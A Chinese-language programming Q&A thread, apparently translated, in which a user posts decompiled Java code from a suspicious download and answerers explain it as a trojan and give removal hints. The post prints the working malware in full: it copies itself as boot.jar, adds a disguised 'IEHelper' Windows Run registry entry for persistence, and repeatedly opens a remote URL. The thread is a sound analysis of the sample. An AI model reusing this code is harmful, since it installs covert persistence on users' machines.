2016-06-07 33 views
-1

我下載一些文件的類型,我觀察到的怪異行爲和反編譯後發現了這段代碼 -程序代碼的理解[JAVA]

package w1Comlu; 

import java.awt.Desktop; 
import java.io.File; 
import java.io.IOException; 
import java.lang.reflect.InvocationTargetException; 
import java.net.URI; 
import java.net.URL; 
import java.nio.file.CopyOption; 
import java.nio.file.Files; 
import java.nio.file.Path; 
import java.security.CodeSource; 
import java.security.ProtectionDomain; 
import java.util.Random; 
import w1Comlu.WinRegistry; 

public class Main { 
    public static void main(String[] args) { 
     File file = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().getPath()); 
     File newFile = new File(System.getProperty("user.dir"), "boot.jar"); 
     if (!newFile.exists()) { 
      try { 
       Files.copy(file.toPath(), newFile.toPath(), new CopyOption[0]); 
       String value = "\"javaw -jar " + System.getProperty("user.dir") + "\\boot.jar\""; 
       try { 
        WinRegistry.writeStringValue((int)-2147483647, (String)"Software\\Microsoft\\Windows\\CurrentVersion\\Run", (String)"IEHelper", (String)value); 
       } 
       catch (IllegalArgumentException e) { 
        e.printStackTrace(); 
       } 
       catch (IllegalAccessException e) { 
        e.printStackTrace(); 
       } 
       catch (InvocationTargetException e) { 
        e.printStackTrace(); 
       } 
      } 
      catch (IOException e1) { 
       e1.printStackTrace(); 
      } 
      try { 
       Thread.sleep(600000); 
      } 
      catch (InterruptedException e1) { 
       e1.printStackTrace(); 
      } 
     } 
     String url = "http://w1.comlu.com/"; 
     Desktop desktop = Desktop.isDesktopSupported() ? Desktop.getDesktop() : null; 
     do { 
      boolean worked = false; 
      if (desktop != null && desktop.isSupported(Desktop.Action.BROWSE)) { 
       try { 
        desktop.browse(new URI(url)); 
        worked = true; 
       } 
       catch (Exception e) { 
        e.printStackTrace(); 
       } 
      } 
      if (!worked) { 
       new java.lang.ProcessBuilder("x-www-browser", url); 
      } 
      try { 
       Thread.sleep(new Random().nextInt(600) * 1000); 
       continue; 
      } 
      catch (InterruptedException e) { 
       e.printStackTrace(); 
       continue; 
      } 
      break; 
     } while (true); 
    } 
} 

我只能聽懂一點的代碼,因爲我是新來的Java 。有人可以詳細說明代碼試圖做什麼嗎?

回答

1

此代碼嘗試將某些內容寫入註冊表,然後加載一個URL。

我不運行它...

1

這段代碼是一種木馬的。

一旦執行;它會

1)複製包含用戶目錄

2這裏面的代碼的jar)收件到Windows註冊表,誘騙系統在每次用戶登錄推出這個jar:Run and RunOnce Registry Keys

3)通過瀏覽器無限地產生代碼中存在的URL的開頭,具有1至600秒之間的隨機延遲

所以,絕對不要執行不信任的jar。

+0

如果我刪除了我已經做過的boot.jar文件,該怎麼辦? :D –

+0

@Ashsh Sharma,也搜索boot.jar的所有用戶目錄並刪除文件。另外考慮查看Windows註冊表並刪除程序寫入的條目,如果你發現一些。 – Berger

+0

任何想法,我應該在哪裏檢查和在註冊表中? –